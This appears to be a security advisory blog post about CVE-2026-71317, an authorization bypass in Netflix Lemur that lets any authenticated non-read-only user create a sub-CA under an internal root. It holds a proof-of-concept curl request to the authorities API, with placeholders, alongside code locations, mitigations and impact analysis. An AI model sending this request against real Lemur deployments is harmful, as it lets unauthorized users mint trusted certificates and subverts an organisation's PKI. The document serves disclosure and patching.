Listen to this Post
CVE-2026-71317 is an authorization bypass vulnerability in Netflix Lemur, a TLS certificate management tool. The flaw exists in the sub-Certificate Authority (sub-CA) creation workflow when the configuration flag `ADMIN_ONLY_AUTHORITY_CREATION` is set to False. This is an explicitly supported and documented configuration.
Under this configuration, an authenticated non-read-only user can send a `POST /api/1/authorities` request with type=subca. The backend uses `AssociatedAuthoritySchema` to resolve the caller-supplied `parent` authority via a raw `fetch_objects(Authority, data)` lookup. Crucially, the code path—from `views.post` through `service.create` and `mint` to plugin.create_authority—never evaluates `AuthorityPermission(parent.id, parent.roles)` against the caller. The bundled `cryptography-issuer` plugin then loads `options[“parent”].authority_certificate.private_key` and uses it to sign a brand-new intermediate CA.
This means any authenticated user—even one with zero permissions on a given internal root CA—can chain a sub-CA to that root. They can then attach a role they already belong to and immediately issue trusted leaf certificates. The resulting intermediate’s private key can be exported and used entirely outside Lemur, bypassing all in-product issuance controls like LEMUR_ALLOWED_DOMAINS, sensitive-domain flags, and the per-user domain-authorization plugin. The `ADMIN_ONLY_AUTHORITY_CREATION` documentation does not warn operators of this consequence.
The root cause is that `AuthoritiesList.post` evaluates only `AuthorityCreatorPermission` (a global “may create authorities” flag) and StrictRolePermission, but never enforces `AuthorityPermission` on the parent. `AssociatedAuthoritySchema` is a pure lookup schema with no authorization hook. The fix, implemented in version 1.9.3, enforces `AuthorityPermission` on every supplied parent before invoking the issuer.
DailyCVE Form:
Platform: Netflix Lemur
Version: < 1.9.3
Vulnerability: Sub-CA Authz Bypass
Severity: 6.5 MEDIUM
date: 2026-08-18
Prediction: 2026-08-18 (Patched)
What Undercode Say:
Static-trace validation command from source report:
grep -n 'parent' lemur/authorities/schemas.py lemur/authorities/views.py lemur/authorities/service.py \ && sed -n '37,55p' lemur/plugins/lemur_cryptography/plugin.py
Affected code locations:
– `lemur/authorities/views.py:231` — gates only on `AuthorityCreatorPermission()` + StrictRolePermission(); no `AuthorityPermission` on `data[‘parent’]`
– `lemur/authorities/schemas.py:58` — parent = fields.Nested(AssociatedAuthoritySchema); `validate_subca` only checks presence
– `lemur/schemas.py:107` — `AssociatedAuthoritySchema.get_object` → `fetch_objects(Authority, data)` resolves any authority by id/name with no permission check
– `lemur/plugins/lemur_cryptography/plugin.py:40` — `private_key = options[“authority”].authority_certificate.private_key` (set from options["parent"]) signs the new intermediate
– `lemur/auth/permissions.py:62` — `AuthorityCreatorPermission` becomes always-allow when `ADMIN_ONLY_AUTHORITY_CREATION=False`
– `lemur/certificates/views.py:538` — `is_private_authority` (true for cryptography-issuer) skips `USER_DOMAIN_AUTHORIZATION_PROVIDER` for subsequent leaf issuance
Exploit: (Educational Purposes!)
Preconditions:
– `ADMIN_ONLY_AUTHORITY_CREATION=False`
– Attacker is an authenticated Lemur user holding any role other than read-only
– `
– `
curl -sS -X POST "<TARGET_BASE_URL>/api/1/authorities" \
-H "Authorization: Bearer <AUTH_TOKEN>" \
-H "Content-Type: application/json" \
-d '{
"name": "attacker-subca",
"owner": "[email protected]",
"description": "poc",
"type": "subca",
"parent": {"id": <PARENT_AUTHORITY_ID>},
"plugin": {"slug": "cryptography-issuer"},
"roles": [{"name": "<ATTACKER_ROLE>"}],
"commonName": "attacker-intermediate",
"validityYears": 1
}'
The response contains a new authority whose `authority_certificate` is signed by <PARENT_AUTHORITY_ID>‘s private key. The caller is recorded as creator and holds `
Protection:
- Upgrade to Lemur version 1.9.3 or later, where the fix validates `AuthorityPermission` on all supplied parent authorities
- If upgrading is delayed, set `ADMIN_ONLY_AUTHORITY_CREATION=True` to enforce permission checks on sub-CA creation and prevent unauthorized chain building
- Restrict `POST /api/1/authorities type=subca` access to privileged users only and enable auditing of all sub-CA creation requests
- In `AuthoritiesList.post` (or
authorities.service.create), when `data.get(‘parent’)` is present, enforce `AuthorityPermission(parent.id, [r.name for r in parent.roles]).can()` before invoking the issuer plugin, regardless of `ADMIN_ONLY_AUTHORITY_CREATION`
– Update the `ADMIN_ONLY_AUTHORITY_CREATION` documentation to state that disabling it currently grants every authenticated user the ability to chain sub-CAs off any internal root whose private key Lemur holds - Consider requiring admin (or an explicit per-parent capability) for any `type=subca` creation independent of the global flag
Impact:
In deployments that set `ADMIN_ONLY_AUTHORITY_CREATION=False` to enable self-service CA creation, any authenticated non-read-only user—with zero permission on a given internal root CA—can obtain a working intermediate CA chained to that root. They can then:
– Issue TLS certificates for arbitrary names trusted by every relying party that trusts the internal root, bypassing LEMUR_ALLOWED_DOMAINS, sensitive-domain flags, and the per-user domain-authorization plugin
– Export the sub-CA private key and sign end-entity certificates entirely outside Lemur, defeating all in-product issuance controls
This converts “can create a self-contained test CA” into “can mint trusted certs under any internal PKI root in the organisation”. The flaw compromises the integrity of the certificate ecosystem, as an attacker can issue certificates that clients will trust. With a CVSS score of 6.5 (Medium), the risk is moderate but significant. The attack vector is authenticated remote API usage.
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
